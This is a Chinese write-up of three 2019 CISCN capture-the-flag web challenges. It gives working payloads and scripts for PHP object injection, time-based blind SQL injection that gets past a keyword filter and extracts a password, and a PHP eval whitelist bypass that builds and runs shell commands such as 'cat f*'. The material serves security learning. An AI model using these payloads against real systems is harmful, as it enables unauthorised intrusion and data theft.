2019 CISCN Web wp

国赛 Web wp

Day 1

Web

JustSoso

Index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

Hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析了解到可以把以下 payload

O:6:"Handle":1:

中的 1 改成比 1 大的数可以在反序列化时绕过_warkeup魔术方法
绕过$this->token === $this->token_flag的判断可以直接通过爆破来绕过

贴一下脚本:

import requests
import time

url ="http://e281a336df8b4ea1b7665704aca7b30246d3cd0663434603.changame.ichunqiu.com///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A3%3A{s%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A{s%3A4%3A%22file%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3Bs%3A10%3A%22token_flag%22%3Bs%3A32%3A%227b670d553471ad0fd7491c75bad587ff%22%3B}}"

proxies ={
    'http':'http://127.0.0.1:8080/'
}

for i in range(1,1000000):

    rep = requests.get(url)
    if rep.status_code == 200:
        if 'flag' in rep.text:
            print(rep.text)
    else:
        print(rep.status_code)
    i = i + 1
    time.sleep(1)

# rep = requests.get(url)
# print(rep.status_code)

这里预期解应该是引用,利用$this->token_flag = &$this->token,这样来绕过

全宇宙最简单的SQL

页面会返回两种错误,一种是登录失败,一种是数据库查询失败

所以我们可以通过利用admin'等操作来 fuzz 闭合方式,得到可以使用单引号闭合。但是通过万能密码可以发现一些关键字被替换了

通过一些简单的 fuzz 可以发现有以下关键字被过滤了

or || if field elt 

布尔盲注没有可以区分的页面回显,所以这里不能用布尔盲注,报错注入也不行。所以基本确定只能用时间盲注。

结果发现sleep()benchmark()等函数均被过滤了,只能寻找一些新的延时注入的方法,在mysql盲注备忘录)中发现新的注入方式

MariaDB [(none)]> select rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',2000000,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set, 1 warning (0.149 sec)

虽然本地没很明显延时,但是打服务器发生了明显的延时。所以接下来就是利用这个点进行时间盲注了。而if又被过滤了,我们就只能通过以下方式去触发延时

admin'  and (SELECT length(database()) limit 0,1) = 3 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

数据库长度为3

admin' and substr((SELECT database() limit 0,1),1,1) = 'c' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and substr((SELECT database() limit 0,1),2,1) = 't' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and substr((SELECT database() limit 0,1),3,1) = 'f' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

数据库名字为 ctf

但是如果要接下去拿表名的话传统方法只能去利用information_schema,但是or又被过滤了,而information_schema中又含有or,所以肯定不能行。

过滤了information_schema基本上没什么替代方式了。所以我们这里只能另辟蹊径。

之前了解过可以通过不用列名的方式注入,所以这里觉得应该可以直接读password或者什么,管他这个列名叫啥,读就对了。注意这里用offset 1 limit 1读第二个才是真正的密码,这里时间不太够,临时用手验证了前几位。爆了 4 位得到F1AG,以为就是密码了…结果错了…最后还是手动加脚本跑出来了

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),2,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),3,1)) = 65 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#


admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),4,1)) = 71 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),5,1)) = 64 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),6,1)) = 49 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),7,1)) = 115 and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#

注意这里最好不要用substr()='x'这样判断,大小写很有问题,而且当时网络环境极其不好…跑了好几遍都有不同的答案…最后在赛后用ascii跑出了密码,附脚本

# encoding: utf-8
import requests
import re

index_url = "http://39.97.227.64:52105/"

header = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}

flag = ''
table = ''
column = ''

proxies={
    'http':'http://127.0.0.1:8080/'
}

for i in range(1,32):
    print(i)
    for j in range(33,126):
        # j = ord(j)
        # payload = "0\") or if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),"+ str(i) +",1))="+ str(j) +"),sleep(5),0);%23"
        string1 = "admin' and ascii(substr((select e.2 from (select * from (select 1)a,(select 2)b union select * from user)e limit 1 offset 1),"+ str(i) + ",1)) = '"+ str(j) + "' and rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');#"
        payload ={
            'username': string1,
            'password': '11'
        }

        url = index_url
        try:
            r = requests.post(url=url, data=payload,headers=header,timeout=3.5,proxies=proxies)
        except:
            flag += chr(j)
            print(flag)
            break

得到密码:

F1AG@1s-at_/fll1llag_h3r3

进去看到 admin 页面,也很明显,也就是 Rogue mysql 那一套了。

DDCTF 2019 /HGAME 2019我都有写相关的 wp ,这里就不再重复了。老一套的操作,不过这里他是不能指定端口,固定访问你的 3306 ,所以你需要把自己的 vps 的 3306 端口开启才行。按照密码提示直接读就是了

顺便拿了一波题目源码

<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>全宇宙最简单的SQL</title>

    <!-- Bootstrap core CSS -->
    <link href="bootstrap.min.css" rel="stylesheet">

    <!-- Custom styles for this template -->
    <link href="grid.css" rel="stylesheet">
</head>

<body style="background-color: lightgrey">
<div class="container">

    <h1>全宇宙最简单的SQL</h1>
    <p class="lead">没有比这题更简单的SQL了,我把秘密藏在数据库里面了!</p>

    <hr>
    <?php
        error_reporting(0);
        session_start();
        if (!$_SESSION['admin']) {
            if (!$_SERVER['HTTP_ACCEPT']) {
                echo "<p style='color: red'>你莫非是机器人?</p>";
            }else if (!empty($_POST['password']) && !empty($_POST['username'])) {
                $conn = new mysqli();
                $conn -> connect("localhost", "ctf123", "ctf123", 'ctf', 3306);
                if ($conn -> connect_errno) {
                    echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
                } else {
                    $_POST['username'] = preg_replace("/join|get_lock|benchmark|sleep|make_set|field|elt|if|case|or|\|/i", "QwQ", $_POST['username']);
                    echo "<p style='color: green'>登录用户名:" . $_POST['username'] . "</p>";
                    $conn -> set_charset("utf8");
                    $sql = "select password from user where username='" . $_POST['username'] . "'";
                    $result = $conn -> query($sql);
                    if ($conn -> errno) {
                        echo "<p style='color: red'>数据库操作失败!</p>";
                    }else {
                        if (!$result) {
                            echo "<p style='color: red'>登陆失败!</p>";
                        }else {
                            $row = $result -> fetch_assoc();
                            if ($row['password'] === $_POST['password'] && $_POST['username'] === 'admin') {
                                $_SESSION['admin'] = 1;
                            }else {
                                echo "<p style='color: red'>登陆失败!</p>";
                            }
                        }
                    }
                    $conn -> close();
                }
            }else {
                echo "<p style='color: red'>你不是管理员!</p>";
            }
        }
        if ($_SESSION['admin']) {
            echo "<p style='color: green'>你好!管理员!</p>";
            if (!empty($_POST['host']) && !empty($_POST['password']) && !empty($_POST['username']) && !empty($_POST['sql']) && !empty($_POST['database'])) {
                $conn = new mysqli();
                $conn -> connect($_POST['host'], $_POST['username'], $_POST['password'], $_POST['database'], 3306);
                if ($conn -> connect_errno) {
                    echo "<p style='color: red'>数据库连接失败: " . $conn -> connect_error . "</p>";
                } else {
                    $conn -> set_charset("utf8");
                    $result = $conn -> query($_POST['sql']);
                    if (!$result) {
                        echo "<p style='color: red'>SQL执行失败!</p>";
                    }else {
                        echo "<p style='color: green'>SQL执行成功!</p>";
                    }
                    $conn -> close();
                }
            }else {
                echo "<p style='color: green'>你可以在这里对远程数据库进行操作!</p>";
            }
        }
    ?>
    <hr>
    <p></p>
    <form action="" method="post" class="row">
        <?php
            if (!$_SESSION['admin']) {
                echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
                echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
            }else {
                echo '<input type="text" name="host" class="col-6 col-lg-4" placeholder="host">';
                echo '<input type="text" name="username" class="col-6 col-lg-4" placeholder="username">';
                echo '<input type="text" name="password" class="col-6 col-lg-4" placeholder="password">';
                echo '<input type="text" name="database" class="col-6 col-lg-4" placeholder="database">';
                echo '<input type="text" name="sql" class="col-6 col-lg-4" placeholder="sql">';
            }
        ?>
        <input type="submit" class="col-6 col-lg-4" value="submit">
    </form>

</div> <!-- /container -->
</body>
</html>

这题比较可惜,时间不太够,比赛结束的40min多就做出来了…今天太困了,中午睡了好一会,时间足够的话肯定能搞出来的…可惜可惜。

最近看了还可以有

union select cot(1 and left(database(),1)>'a');#

这样的 bool 盲注的形式

Day 2

Web

Love_Math

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

一上午都在懵逼,要么找到可以突破的数学函数,要么突破正则,应该就是这两种思路了。数学函数都看了一遍,貌似没有什么可以利用的函数。正则匹配/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/,这个是 php 变量文档中匹配有效变量名的正则。感觉两个思路都不对…最有可能的还是突破数学函数…数组可以绕之前的,但是eval不能执行

看了好几遍直到看到了base_convert可以在进制转换上做文章,而且根据php文档–base_convert,我们可以知道

frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

也就是第二位,第三位参数可以在 2 到 36 之间,而且高于十进制的用字母表示!既然拼接进去的都是字符串,转换出来拼接进去应该可以执行。

本地使用base_convert(55490343972,10,36)()成功执行phpinfo,远程也执行了phpinfo看看是不是有什么问题,看了一圈然而并没有发现什么问题。

然后尝试使用各种执行命令

base_convert(15941,10,36);    //cat
base_convert(1751504350,36,10);    //system
base_convert(696468,36,10);    //exec
base_convert(784,36,10);    //ls
base_convert(21269,36,10);    //GET

虽然可以执行ls了,看到了flag.php,但是读不到就比较难受了。然后直接就考虑到了是不是可以有cat *这种操作,但是空格跟*都无法编码…这就比较头疼了。而且主要是还得全为数字,有字母的的话就会进whitelist的判断了。

所以可能要尽量避免去使用十六进制什么的含有字母的,考虑到 ascii 码可以转换,又尝试了使用chr函数去转换

($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42))

($pi=base_convert(9453,12,36)).$pi(101).$pi(120).$pi(101).$pi(99)($pi(108).$pi(115))

$pi(96).$pi(108).$pi(115).$pi(96)

一般的构造结果肯定不行…所以这里想用`ls`这种形式去执行命令,但是由于拼接的原因,一直不能执行…思路卡了很久。

看了一些相关十六进制处理的函数,直到看到了两个函数,一个hex2bin函数,是可以把 16 进制转换成字符串,一个dechex函数,把十进制转换成十六进制。

于是我们可以有

php > echo base_convert('636174202a',16,10);
426836762666
php > echo hex2bin(dechex(426836762666));
cat *

这样我们就可以把*这个十六进制为2a的转成十进制纯数字的了。

但是我们要怎么利用hex2bin呢,想到可以利用base_convert赋值变量的方式,找到最短的字符串pi,利用$pi=base_convert(37907361743,10,36)构造出hex2bin

而且还因为echo可以接受如下的拼接方式,例如

php > echo (1).`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
php > echo 1,`id`;
1uid=501(zedd) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

尽量取最短的,这里肯定我们就用,这个形式。

所以大致思路就差不多出来了利用base_convert构造hex2bin,然后用最短的可以执行命令的exec函数去执行cat *的命令

$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(426836762666)))

然而没成功…不知道哪里错了,感觉没道理…

($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570206167));

($pi=base_convert),$pi(696468,10,36)($pi(37907361743,10,36)(7267726570202466));

接着队友说可以用rgrep ag去弄,而且本地打通了…但是远程以上没打通…我又修改了尝试去rgrep fl,也没打通,当时是这样的

写 wp 的时候,突然又发现可以打通了…

也是神奇…最后当时还是按照自己的思路去走了,感觉是不是哪里出问题了,确定有flag.php,最后尝试修改cat f*

php > echo base_convert('63617420662a',16,10);
109270211257898
php > echo hex2bin(dechex(109270211257898));
cat f*
$pi=base_convert(37907361743,10,36),$pi(65786563)($pi(dechex(109270211257898)))

拿到 flag(复现环境下)

base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=cat%20flag.php

剩余一题感觉比较有意思,单独写一下。

2019 CISCN RefSpace 2019 DDCTF Web wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×